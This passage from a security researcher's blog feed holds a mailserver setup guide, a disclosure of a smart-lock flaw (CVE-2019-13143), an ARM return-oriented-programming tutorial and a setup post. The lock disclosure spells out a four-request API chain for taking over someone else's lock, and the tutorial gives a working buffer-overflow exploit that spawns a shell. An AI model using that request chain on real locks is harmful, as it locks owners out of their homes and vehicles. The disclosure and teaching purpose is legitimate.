 590<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
 591      "p=&lt;key&gt;"
 592      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
 593</code></pre>
 594
 595<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
 596and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
 597Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
 598
 599<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
 600point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
 601<code>A</code> record.
 602You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
 603uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
 604And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
 605your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
 606I learnt this part the hard way, when my outgoing email kept getting
 607rejected by Tutanota&#8217;s servers.</p>
 608
 609<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
 610documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
 611and look at an example. In short, install <code>certbot</code>, have port 80 free,
 612and run </p>
 613
 614<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
 615</code></pre></div>
 616
 617<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
 618the container, something like so:</p>
 619
 620<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
 621
 622<span class="nt">volumes</span><span class="p">:</span>
 623    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
 624    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
 625    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
 626    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
 627
 628<span class="nn">...</span>
 629</code></pre></div>
 630
 631<p>With this done, you shouldn&#8217;t have mail clients complaining about 
 632wonky certs for which you&#8217;ll have to add an exception manually.</p>
 633
 634<h3 id="why-would-you">Why would you…?</h3>
 635
 636<p>There are a few good reasons for this:</p>
 637
 638<h4 id="privacy">Privacy</h4>
 639
 640<p>No really, this is <em>the</em> best choice for truly private
 641email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
 642dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
 643
 644<blockquote>
 645  <p>Truly secure systems do not require you to trust the service provider.</p>
 646</blockquote>
 647
 648<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
 649how can you really be sure that it isn&#8217;t a backdoored version of it?</p>
 650
 651<p>When you host your own mailserver, you truly own your email without having to rely on any
 652third-party.
 653This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
 654threat model™.</p>
 655
 656<h4 id="decentralization">Decentralization</h4>
 657
 658<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
 659active users. That&#8217;s obscene.
 660Email was designed to be decentralized but big corps swooped in and
 661made it a product. They now control your data, and it isn&#8217;t unknown that
 662Google reads your mail. This again loops back to my previous point, privacy.
 663Decentralization guarantees privacy. When you control your mail, you subsequently
 664control who reads it.</p>
 665
 666<h4 id="personalization">Personalization</h4>
 667
 668<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>
 669
 670<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
 671
 672<p>Pfft, this is no competition.</p>
 673
 674<div class="footnotes">
 675<hr />
 676<ol>
 677<li id="fn-1">
 678<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 679</li>
 680
 681<li id="fn-2">
 682<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 683</li>
 684
 685<li id="fn-3">
 686<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 687</li>
 688</ol>
 689</div>
 690]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 691
 692<h3 id="the-lock">The lock</h3>
 693
 694<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 695Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 696across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 697
 698<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 699the Play/App Store to function. The app requires the user to create an
 700account before further functionality is available. 
 701It also facilitates configuring the fingerprint,
 702and unlocking from a range via Bluetooth.</p>
 703
 704<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 705and the Android app.</p>
 706
 707<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 708
 709<p>Android phones have the ability to capture Bluetooth (HCI) traffic
 710which can be enabled under Developer Options under Settings. We made 
 711around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
 712
 713<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
 714
 715<p>This is the value sent in the <code>Write</code> request:</p>
 716
 717<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
 718
 719<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
 720but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 721
 722<h3 id="via-the-android-app">Via the Android app</h3>
 723
 724<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
 725far since most of it was obfuscated. Why bother when there exists an 
 726easier approach &#8211; BurpSuite.</p>
 727
 728<p>We captured and played around with a bunch of requests and responses,
 729and finally arrived at a working exploit chain.</p>
 730
 731<h3 id="the-exploit">The exploit</h3>
 732
 733<p>The entire exploit is a 4 step process consisting of authenticated 
 734HTTP requests:</p>
 735
 736<ol>
 737<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
 738vicinity), get the barcode and lock ID</li>
 739<li>Using the barcode, fetch the user ID</li>
 740<li>Using the lock ID and user ID, unbind the user from the lock</li>
 741<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
 742to the lock</li>
 743</ol>
 744
 745<p>This is what it looks like, in essence (personal info redacted).</p>
 746
 747<h4 id="request-1">Request 1</h4>
 748
 749<pre><code>POST /oklock/lock/queryDevice
 750{"mac":"XX:XX:XX:XX:XX:XX"}
 751</code></pre>
 752
 753<p>Response:</p>
 754
 755<pre><code>{
 756   "result":{
 757      "alarm":0,
 758      "barcode":"&lt;BARCODE&gt;",
 759      "chipType":"1",
 760      "createAt":"2019-05-14 09:32:23.0",
 761      "deviceId":"",
 762      "electricity":"95",
 763      "firmwareVersion":"2.3",
 764      "gsmVersion":"",
 765      "id":&lt;LOCK ID&gt;,
 766      "isLock":0,
 767      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 768      "lockPwd":"000000",
 769      "mac":"XX:XX:XX:XX:XX:XX",
 770      "name":"lock",
 771      "radioName":"BlueFPL",
 772      "type":0
 773   },
 774   "status":"2000"
 775}
 776</code></pre>
 777
 778<h4 id="request-2">Request 2</h4>
 779
 780<pre><code>POST /oklock/lock/getDeviceInfo
 781
 782{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
 783</code></pre>
 784
 785<p>Response:</p>
 786
 787<pre><code>   "result":{
 788      "account":"email@some.website",
 789      "alarm":0,
 790      "barcode":"&lt;BARCODE&gt;",
 791      "chipType":"1",
 792      "createAt":"2019-05-14 09:32:23.0",
 793      "deviceId":"",
 794      "electricity":"95",
 795      "firmwareVersion":"2.3",
 796      "gsmVersion":"",
 797      "id":&lt;LOCK ID&gt;,
 798      "isLock":0,
 799      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 800      "lockPwd":"000000",
 801      "mac":"XX:XX:XX:XX:XX:XX",
 802      "name":"lock",
 803      "radioName":"BlueFPL",
 804      "type":0,
 805      "userId":&lt;USER ID&gt;
 806   }
 807</code></pre>
 808
 809<h4 id="request-3">Request 3</h4>
 810
 811<pre><code>POST /oklock/lock/unbind
 812
 813{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
 814</code></pre>
 815
 816<h4 id="request-4">Request 4</h4>
 817
 818<pre><code>POST /oklock/lock/bind
 819
 820{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
 821</code></pre>
 822
 823<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
 824
 825<p>You should have the lock transferred to your account. The severity of this
 826issue lies in the fact that the original owner completely loses access to
 827their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
 828(the attacker) needs to authorize that. </p>
 829
 830<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
 831Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
 832&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
 833
 834<p><em>shudders</em></p>
 835
 836<h3 id="proof-of-concept">Proof of Concept</h3>
 837
 838<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
 839
 840<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
 841
 842<h3 id="disclosure-timeline">Disclosure timeline</h3>
 843
 844<ul>
 845<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
 846<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
 847<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
 848<li>No response from vendor</li>
 849<li><strong>2nd August 2019</strong>: Public disclosure</li>
 850</ul>
 851
 852<h3 id="lessons-learnt">Lessons learnt</h3>
 853
 854<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
 855with keys. With the IoT plague spreading, it brings in a large attack surface
 856to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
 857
 858<p>The IoT security scene is rife with bugs from over 10 years ago, like
 859executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
 860practices in general.</p>
 861
 862<p>Our existing threat models and scenarios have to be updated to factor 
 863in these new exploitation possibilities. This also broadens the playing 
 864field for cyber warfare and mass surveillance campaigns. </p>
 865
 866<h3 id="researcher-info">Researcher info</h3>
 867
 868<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
 869
 870<ul>
 871<li>Anirudh Oppiliappan (me)</li>
 872<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
 873<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
 874</ul>
 875
 876<div class="footnotes">
 877<hr />
 878<ol>
 879<li id="fn-1">
 880<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 881</li>
 882
 883<li id="fn-2">
 884<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 885</li>
 886
 887<li id="fn-3">
 888<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 889</li>
 890</ol>
 891</div>
 892]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
 893assembly to follow along. I highly recommend
 894<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
 895Basics</a>. Once you’re
 896comfortable with it, proceed with the next bit — environment setup.</p>
 897
 898<h3 id="setup">Setup</h3>
 899
 900<p>Since we’re working with the ARM architecture, there are two options to go
 901forth with: </p>
 902
 903<ol>
 904<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
 905And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
 906The scripts found inside should be self-explanatory.</li>
 907<li>Use actual ARM hardware, like an RPi.</li>
 908</ol>
 909
 910<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
 911may use <code>radare2</code>, IDA or anything else, really. All of which can be
 912trivially installed.</p>
 913
 914<p>And for the sake of simplicity, disable ASLR:</p>
 915
 916<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
 917</code></pre></div>
 918
 919<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
 920<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
 921
 922<p>Compile it:</p>
 923
 924<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
 925</code></pre></div>
 926
 927<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
 928
 929<h3 id="a-primer-on-rop">A primer on ROP</h3>
 930
 931<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
 932used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
 933In essence, no code in the binary is actually modified and the entire exploit
 934is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
 935
 936<p>A gadget is essentially a small sequence of code (instructions), ending with
 937a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
 938code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
 939These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
 940to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
 941there’s generally a call to <code>system()</code>, to acheive code execution.</p>
 942
 943<p>In practice, the process of executing a ropchain is something like this:</p>
 944
 945<ul>
 946<li>confirm the existence of a stack-based buffer overflow</li>
 947<li>identify the offset at which the instruction pointer gets overwritten</li>
 948<li>locate the addresses of the gadgets you wish to use</li>
 949<li>craft your input keeping in mind the stack’s layout, and chain the addresses
 950of your gadgets</li>
 951</ul>
 952
 953<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
 954Check it out, it might be just what you needed for that “aha!” moment :)</p>
 955
 956<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
 957that should put things into perspective.</p>
 958
 959<h3 id="exploring-our-binary">Exploring our binary</h3>
 960
 961<p>Start by running it, and entering any arbitrary string. On entering a fairly
 962large string, say, “A” × 20, we
 963see a segmentation fault occur.</p>
 964
 965<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
 966
 967<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
 968
 969<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
 970
 971<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
 972<code>gadget</code>. Disassembling the <code>main</code> function:</p>
 973
 974<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
 975
 976<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
 977to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
 978never actually called.</p>
 979
 980<p>Disassembling the <code>gadget</code> function:</p>
 981
 982<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
 983
 984<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
 985which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
 986instruction in the middle. This is a <strong>gadget</strong>.</p>
 987
 988<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
 989arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
 990are used for this. So this gadget effectively allows us to pass arguments to
 991functions using <code>r0</code>, and subsequently jumping to them by passing its address
 992in <code>pc</code>. Neat.</p>
 993
 994<p>Moving on to the disassembly of the <code>winner</code> function:</p>
 995
 996<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
 997
 998<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
 999So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1000function.</p>
1001
1002<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1003of exploitation by messing around with inputs.</p>
1004
1005<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
1006
1007<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1008screenshot.</p>
1009
1010<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1011
1012<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1013the <code>pc</code> has been overwritten with our input.
1014So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1015
1016<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1017control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1018
1019<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1020of the second instruction — <code>add r11, sp, #4</code>. 
1021For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1022the address of <code>winner</code>. Note the endianness.</p>
1023
1024<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
1025</code></pre></div>
1026
1027<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1028
1029<p>The reason we don’t jump to the first instruction is because we want to control the stack
1030ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1031those out after <code>winner</code> is done executing and we will no longer control 
1032where it jumps to.</p>
1033
1034<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
1035But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1036to do what we want (run a command, execute a shell, etc.).</p>
1037
1038<p>To do that, we’ll follow a multi-step process: </p>
1039
1040<ol>
1041<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1042<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1043<code>r0</code>.</li>
1044<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1045</ol>
1046
1047<p>The pseudo-code is something like this:</p>
1048
1049<pre><code>string = AAAABBBBCCCCDDDDEEEE
1050gadget = # addr of gadget
1051binsh  = # addr of /bin/sh
1052system = # addr of system()
1053
1054print(string + gadget + binsh + system)
1055</code></pre>
1056
1057<p>Clean and mean.</p>
1058
1059<h3 id="the-exploit">The exploit</h3>
1060
1061<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1062It allows us to pack the bytes of addresses to the endianness of our choice.
1063It probably does a lot more, but who cares.</p>
1064
1065<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1066at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1067
1068<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
1069</code></pre>
1070
1071<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1072
1073<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1074found from the disassmblies from earlier. Here’s the final exploit code:</p>
1075
1076<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1077
1078<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1079<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
1080<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1081<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1082
1083<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1084</code></pre></div>
1085
1086<p>Honestly, not too far off from our pseudo-code :)</p>
1087
1088<p>Let’s see it in action:</p>
1089
1090<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1091
1092<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1093when the pipe closes, since there’s no input coming in from STDIN.
1094To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1095to the shell. Nifty trick.</p>
1096
1097<h3 id="conclusion">Conclusion</h3>
1098
1099<p>This was a fairly basic challenge, with everything laid out conveniently. 
1100Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1101to acheive code execution.</p>
1102
1103<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1104]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1105
1106<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
11078 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1108
1109<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1110I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1111
1112<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1113
1114<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
1115For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1116
1117<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
1118Great pair of headphones, although the ear cups need replacing.</p>
1119
1120<h3 id="and-the-software">And the software</h3>
1121
1122<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1123window manager, all riced. I now use whatever JustWorks™.</del></p>
1124
1125<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
1126running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1127
1128<p>Here’s a (riced) screenshot of my desktop. </p>
1129
1130<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1131
1132<p>Most of my work is done in either the browser, or the terminal.
1133My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1134a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1135My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1136I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1137
1138<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1139clean and a single command to drop into a Kali shell.</p>
1140
1141<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1142The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1143
1144<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1145]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1146
1147<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1148
1149<h3 id="setup">Setup</h3>
1150
1151<p>As the title suggests, you’re going to need a Python 3 interpreter before
1152anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1153in fact, have a Python 3 interpreter installed on your system, run</p>
1154
1155<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1156</code></pre></div>
1157
1158<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1159
1160<p>With that out of the way, let’s start with an example of a basic reversing
1161challenge.</p>
1162
1163<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1164
1165<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
1166<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
1167<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
1168
1169<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1170   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1171   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
1172   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1173       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1174   <span class="p">}</span>
1175   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
1176   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
